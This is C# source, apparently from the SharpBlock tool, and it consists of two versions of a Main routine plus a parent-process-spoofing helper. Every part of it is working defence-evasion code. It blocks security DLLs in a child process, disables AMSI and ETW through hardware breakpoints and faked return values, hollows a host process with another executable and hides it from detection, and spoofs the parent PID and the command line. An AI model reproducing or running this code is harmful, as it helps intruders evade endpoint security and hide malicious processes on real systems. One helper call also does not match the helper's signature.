private static void SetNewProcessParent(ref STARTUPINFOEX startupInfoEx, int parentProcessId, IntPtr stdOutHandle) { const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; IntPtr handle = WinAPI.OpenProcess(ProcessAccessFlags.CreateProcess | ProcessAccessFlags.DuplicateHandle, false, parentProcessId); IntPtr lpValue = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValue, handle); bool success = UpdateProcThreadAttribute(startupInfoEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); IntPtr ppidStdOut; WinAPI.DuplicateHandle(CurrentProcess, stdOutHandle, handle, out ppidStdOut, 0, true, 3); startupInfoEx.StartupInfo.hStdOutput = ppidStdOut; startupInfoEx.StartupInfo.hStdError = ppidStdOut; if (!success) { throw new Exception(string.Format($"Error setting [{parentProcessId}] as the parent PID for the new process")); } }
static void Main(string[] args) { string program = "c:\\windows\\system32\\cmd.exe"; string hostProcess = null; string programArgs = ""; bool showHelp = false; bool bypass = false; HostProcessInfo hpi = new HostProcessInfo(); Console.WriteLine( "SharpBlock by @_EthicalChaos_\n" + $" DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n" ); OptionSet option_set = new OptionSet() .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program = v) .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v) .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v)) .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v)) .Add("p=|product=", "Product string to block", v => blockProduct.Add(v)) .Add("d=|description=", "Description string to block", v => blockDescription.Add(v)) .Add("b=|bypass="******"Bypasses AMSI within the executed process (true|false)", v => bypass = v != null) .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v) .Add("h|help", "Display this help", v => showHelp = v != null); try { option_set.Parse(args); if (showHelp) { option_set.WriteOptionDescriptions(Console.Out); return; } } catch (Exception e) { Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); option_set.WriteOptionDescriptions(Console.Out); return; } try { IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll"); amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize"); Console.WriteLine($"[+] in-proc AMSI 0x{amsiBase.ToInt64():x16}"); IntPtr stdOut; IntPtr stdErr; IntPtr stdIn; IntPtr currentProcess = new IntPtr(-1); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2); STARTUPINFO startupInfo = new STARTUPINFO(); startupInfo.cb = (uint)Marshal.SizeOf(startupInfo); startupInfo.dwFlags = 0x00000101; startupInfo.hStdOutput = stdOut; startupInfo.hStdError = stdErr; startupInfo.hStdInput = stdIn; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); if (!CreateProcess(hostProcess != null ? hostProcess : program, $"\"{hostProcess}\" {programArgs}", IntPtr.Zero, IntPtr.Zero, true, WinAPI.DEBUG_PROCESS, IntPtr.Zero, null, ref startupInfo, out pi)) { Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}"); return; } Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}"); bool bContinueDebugging = true; Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>(); Dictionary <uint, IntPtr> threadHandles = new Dictionary <uint, IntPtr>(); while (bContinueDebugging) { IntPtr debugEventPtr = Marshal.AllocHGlobal(1024); bool bb = WinAPI.WaitForDebugEvent(debugEventPtr, 1000); UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE; if (bb) { WinAPI.DEBUG_EVENT DebugEvent = (WinAPI.DEBUG_EVENT)Marshal.PtrToStructure(debugEventPtr, typeof(WinAPI.DEBUG_EVENT)); IntPtr debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u); switch (DebugEvent.dwDebugEventCode) { /* Uncomment if you want to set OutputDebugString output * case WinAPI.OUTPUT_DEBUG_STRING_EVENT: * WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO)); * IntPtr bytesRead; * byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength]; * WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead); * Console.WriteLine(Encoding.ASCII.GetString(strData)); * break; */ case WinAPI.CREATE_PROCESS_DEBUG_EVENT: WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO)); processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess; threadHandles[DebugEvent.dwThreadId] = CreateProcessDebugInfo.hThread; if (bypass) { SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr); } break; case WinAPI.CREATE_THREAD_DEBUG_EVENT: WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO)); threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread; if (bypass) { SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr); } break; case WinAPI.EXIT_PROCESS_DEBUG_EVENT: if (pi.dwProcessId == DebugEvent.dwProcessId) { bContinueDebugging = false; } break; case WinAPI.LOAD_DLL_DEBUG_EVENT: WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO)); string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]); if (DebugEvent.dwProcessId == pi.dwProcessId && hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) { Console.WriteLine($"[+] Replacing host process with {program}"); hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program); //Once we have hollowed out our process we put a breakpoint on //our in-memory PE entry point. //Once the entry point is hit it means that we can then attempt to //hide our PE from prying eyes. SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint); } break; case WinAPI.EXCEPTION_DEBUG_EVENT: WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO)); if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP) { //Check to see if the single step breakpoint is at AmsiInitalize if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr) { //It is, to update the thread context to return to caller with //an invalid result DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]); //Opsec purposes, lets now clear all threads of hardware breakpoints ClearHardwareBreakpoints(threadHandles.Values.ToArray()); //check to see if we have hit our in-memory PE entry-point } else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint) { HideHollowedProcess(pi.hProcess, hpi); Context64 ctx = new Context64(ContextFlags.Debug); ctx.ClearBreakpoint(); ctx.SetContext(threadHandles[DebugEvent.dwThreadId]); } } else { dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED; } break; } WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId, (uint)DebugEvent.dwThreadId, dwContinueDebugEvent); } if (debugEventPtr != null) { Marshal.FreeHGlobal(debugEventPtr); } } int exitCode; WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode); Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}"); }catch (Exception e) { Console.WriteLine($"[!] SharpBlock failed with error {e.Message}"); } }
static void Main(string[] args) { string program = "c:\\windows\\system32\\cmd.exe"; string hostProcess = null; string programArgs = ""; bool showHelp = false; bool bypassAmsi = true; bool bypassCommandLine = true; bool bypassETW = true; bool bypassHollowDetect = true; bool patchedArgs = false; bool kernelBaseLoaded = false; bool showWindow = false; int ppid = -1; HostProcessInfo hpi = new HostProcessInfo(); Console.WriteLine( "SharpBlock by @_EthicalChaos_\n" + $" DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n" ); OptionSet option_set = new OptionSet() .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program = v) .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v) .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v)) .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v)) .Add("p=|product=", "Product string to block", v => blockProduct.Add(v)) .Add("d=|description=", "Description string to block", v => blockDescription.Add(v)) .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v) .Add("ppid=", "PID of the process to use for parent process spoofing", v => ppid = int.Parse(v)) .Add("w|show", "Show the lauched process window instead of the default hide", v => showWindow = true) .Add("disable-bypass-amsi", "Disable AMSI bypassAmsi", v => bypassAmsi = false) .Add("disable-bypass-cmdline", "Disable command line bypass", v => bypassCommandLine = false) .Add("disable-bypass-etw", "Disable ETW bypass", v => bypassETW = false) .Add("disable-header-patch", "Disable process hollow detection bypass", v => bypassHollowDetect = false) .Add("h|help", "Display this help", v => showHelp = v != null); try { option_set.Parse(args); if (showHelp) { option_set.WriteOptionDescriptions(Console.Out); return; } } catch (Exception e) { Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); option_set.WriteOptionDescriptions(Console.Out); return; } try { IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll"); amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize"); IntPtr ntdllBase = WinAPI.LoadLibrary("ntdll.dll"); IntPtr etwEventWritePtr = WinAPI.GetProcAddress(ntdllBase, "EtwEventWrite"); Console.WriteLine($"[+] in-proc amsi 0x{amsiBase.ToInt64():x16}"); Console.WriteLine($"[+] in-proc ntdll 0x{ntdllBase.ToInt64():x16}"); IntPtr stdOut; IntPtr stdErr; IntPtr stdIn; IntPtr currentProcess = new IntPtr(-1); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2); STARTUPINFOEX startupInfo = new STARTUPINFOEX(); startupInfo.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfo); uint launchFlags = WinAPI.DEBUG_PROCESS; if (!showWindow) { startupInfo.StartupInfo.dwFlags = 0x00000101; startupInfo.StartupInfo.hStdOutput = stdOut; startupInfo.StartupInfo.hStdError = stdErr; startupInfo.StartupInfo.hStdInput = stdIn; launchFlags |= 0x08000000; } if (ppid > 0) { launchFlags |= 0x80000; startupInfo.lpAttributeList = InitializeProcThreadAttributeList(1); SetNewProcessParent(ref startupInfo, ppid); } PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); string realProgramArgs = $"\"{hostProcess}\" {programArgs}"; string launchedArgs = bypassCommandLine ? $"\"{hostProcess}\"" : realProgramArgs; if (!CreateProcess(hostProcess != null ? hostProcess : program, launchedArgs, IntPtr.Zero, IntPtr.Zero, true, launchFlags, IntPtr.Zero, null, ref startupInfo, out pi)) { Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}"); return; } Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}"); bool bContinueDebugging = true; Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>(); Dictionary <uint, IntPtr> threadHandles = new Dictionary <uint, IntPtr>(); while (bContinueDebugging) { IntPtr debugEventPtr = Marshal.AllocHGlobal(1024); bool bb = WinAPI.WaitForDebugEvent(debugEventPtr, 1000); UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE; if (bb) { WinAPI.DEBUG_EVENT DebugEvent = GetDebugEvent(debugEventPtr); IntPtr debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u); switch (DebugEvent.dwDebugEventCode) { /* Uncomment if you want to see OutputDebugString output * case WinAPI.OUTPUT_DEBUG_STRING_EVENT: * WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO)); * IntPtr bytesRead; * byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength]; * WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead); * Console.WriteLine(Encoding.ASCII.GetString(strData)); * break; */ case WinAPI.CREATE_PROCESS_DEBUG_EVENT: WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO)); processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess; threadHandles[DebugEvent.dwThreadId] = CreateProcessDebugInfo.hThread; if (bypassAmsi) { SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr, 0); } break; case WinAPI.CREATE_THREAD_DEBUG_EVENT: WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO)); threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread; if (pi.dwProcessId == DebugEvent.dwProcessId) { if (bypassAmsi) { SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr, 0); } if (bypassETW) { SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2); } } break; case WinAPI.EXIT_PROCESS_DEBUG_EVENT: if (pi.dwProcessId == DebugEvent.dwProcessId) { bContinueDebugging = false; } break; case WinAPI.LOAD_DLL_DEBUG_EVENT: WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO)); string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]); //Console.WriteLine($"[=] DLL Load: {dllPath}"); if (DebugEvent.dwProcessId == pi.dwProcessId) { // Once kernelbase.dll has loaded then update GetCommandLineW/A args if (bypassCommandLine && kernelBaseLoaded && !patchedArgs) { UpdateCommandLine(pi.hProcess, realProgramArgs); patchedArgs = true; } if (hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) { Console.WriteLine($"[+] Replacing host process with {program}"); hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program); //Set a breakpoint on EtwEventWrite ready for us to bypass SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2); //Once we have hollowed out our process we put a breakpoint on //our in-memory PE entry point. //Once the entry point is hit it means that we can then attempt to //hide our PE from prying eyes. SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint, 1); } else if (dllPath.EndsWith("kernelbase.dll", StringComparison.OrdinalIgnoreCase)) { kernelBaseLoaded = true; } } break; case WinAPI.EXCEPTION_DEBUG_EVENT: WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO)); if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP) { //Check to see if the single step breakpoint is at AmsiInitalize if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr) { //It is, to update the thread context to return to caller with //an invalid result DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]); //Set the hardware breakpoint again for AmsiInitalize SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], amsiInitalizePtr, 0); //check to see if we have hit our in-memory PE entry-point } else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint) { //Causes crashes on some processes, for example cmd.exe, use --bypass-header-patch to disable if (bypassHollowDetect) { HideHollowedProcess(pi.hProcess, hpi); } //Catch case just in case kernelbase was the last DLL loaded if (bypassCommandLine && kernelBaseLoaded && !patchedArgs) { UpdateCommandLine(pi.hProcess, realProgramArgs); patchedArgs = true; } //No longer need the entrypoint breakpoint ClearHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], 1); } else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == etwEventWritePtr) { //We have hit EtwEventWrite so lets just return with a fake success result OverrideReturnValue(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId], new UIntPtr(0), 5); } } else { dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED; } //Console.WriteLine($"Exception 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionCode:x} occured at 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionAddress.ToInt64():x}"); break; } WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId, (uint)DebugEvent.dwThreadId, dwContinueDebugEvent); } if (debugEventPtr != null) { Marshal.FreeHGlobal(debugEventPtr); } } int exitCode; WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode); Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}"); }catch (Exception e) { Console.WriteLine($"[!] SharpBlock failed with error {e.Message}"); Console.WriteLine(e.StackTrace); } }